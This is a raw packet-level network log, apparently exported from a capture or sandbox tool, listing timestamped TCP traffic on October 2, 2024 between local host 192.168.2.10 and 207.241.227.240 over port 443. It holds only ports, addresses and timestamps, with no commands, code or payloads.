Oct 2, 2024 05:23:13.349235058 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.349499941 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.349523067 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.349570036 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.349579096 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.349601030 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.349623919 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.349926949 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.349955082 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.350020885 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.350029945 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.350050926 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.350079060 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.356451035 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.356479883 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.356575012 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.356591940 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.356636047 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.372004986 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.372035027 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.372116089 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.372129917 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.372169971 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.372256041 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.372277021 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.372318029 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.372324944 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.372349024 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.372366905 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.437475920 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.437509060 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.437668085 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.437710047 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.437767029 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.438616037 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.438632965 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.438724995 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.438731909 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.438780069 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.439723015 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.439739943 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.439822912 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.439831018 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.439896107 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.440104008 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.440119982 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.440213919 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.440222025 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.440269947 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.440500021 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.440515995 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.440586090 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.440593958 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.440669060 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.447036028 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.447053909 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.447173119 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.447185040 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.447231054 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.462527990 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.462555885 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.462713003 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.462730885 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.462799072 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.462958097 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.462974072 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.463018894 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.463026047 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.463076115 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.528304100 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.528335094 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.528481960 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.528501987 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.528620958 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.529206991 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.529227018 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.529289961 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.529299974 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.529330015 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.529364109 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.530759096 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.530776978 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.530875921 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.530885935 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.530941963 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.531029940 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.531049013 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.531097889 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.531104088 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.531150103 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.531651020 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.531667948 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.531797886 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.531806946 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.531884909 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.537776947 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.537796021 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.537890911 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.537905931 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.537944078 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.553467035 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.553491116 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.553567886 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.553576946 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.553627014 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.553807974 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.553824902 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.553868055 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.553875923 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.553905010 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.553926945 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.619180918 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.619214058 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.619374037 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.619419098 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.619482040 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.619986057 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.620002985 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.620091915 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.620112896 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.620160103 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.621284962 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.621301889 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.621404886 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.621428013 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.621486902 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.621771097 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.621787071 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.621870995 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.621880054 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.621920109 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.622378111 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.622392893 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.622476101 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.622488022 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.622531891 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.628549099 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.628571033 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.628649950 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.628681898 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.628700972 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.628712893 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.644001961 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.644026041 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.644087076 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.644118071 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.644135952 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.644161940 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.644349098 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.644365072 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.644423962 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.644433022 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.644468069 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.709933996 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.709966898 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.710103989 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.710144043 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.710187912 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.710783958 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.710808039 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.710854053 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.710867882 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.710885048 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.710901976 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.712089062 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.712111950 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.712174892 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.712199926 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.712249994 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.712505102 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.712532997 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.712578058 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.712585926 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.712599039 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.712624073 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.713124037 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.713145018 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.713190079 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.713200092 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.713227987 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.713238001 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.719209909 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.719229937 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.719306946 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.719332933 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.719382048 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.734880924 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.734908104 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.734986067 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.735018969 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.735059023 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.735313892 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.735332012 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.735410929 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.735419989 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.735461950 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.800820112 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.800853968 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.800976992 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.801007032 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.801054001 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.801320076 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.801338911 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.801403046 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.801414967 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.801460028 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.802808046 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.802828074 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.802885056 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.802896023 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.802947044 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.803330898 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.803349018 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.803427935 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.803433895 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.803492069 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.803858042 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.803877115 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.803925991 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.803932905 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.803968906 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.809814930 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.809834957 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.809890985 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.809904099 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.809942007 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.825544119 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.825562000 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.825705051 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.825742006 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.825788021 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.825908899 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.825928926 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.825978994 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.825985909 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.826035976 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.891912937 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.891933918 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.891977072 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.892024040 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.892031908 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.892055035 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.892076969 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.893441916 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.893457890 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.893529892 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.893547058 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.893908978 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.893928051 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.893997908 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.894006968 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.894435883 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.894450903 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.894510984 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.894520044 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.900528908 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.900549889 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.900614977 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.900624990 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.916165113 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.916181087 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.916306019 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.916330099 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.916605949 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.916625023 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.916671991 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.916681051 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.916692972 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.966514111 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.982160091 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.982177973 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.982266903 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.982283115 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.982321978 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.982615948 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.982633114 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.982686043 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.982692957 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.982731104 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.984152079 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.984168053 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.984230995 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.984241009 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.984277010 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.984610081 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.984627008 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.984673977 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.984680891 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.984714985 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.985157013 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.985172987 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.985219955 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.985227108 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.985260963 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.991328955 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.991345882 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.991401911 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.991409063 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.991441011 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.007090092 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.007107973 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.007193089 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.007209063 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.007241964 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.007447004 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.007463932 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.007515907 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.007524014 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.007561922 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.072953939 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.072976112 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.073224068 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.073282957 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.073352098 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.073364019 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.073373079 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.073386908 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.073498011 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.074805021 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.074820995 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.074949980 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.074959993 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.075042963 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.075237036 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.075252056 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.075367928 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.075375080 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.075494051 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.075896978 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.075913906 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.075979948 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.075987101 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.076031923 CEST	49702	443	192.168.2.10	207.241.227.240
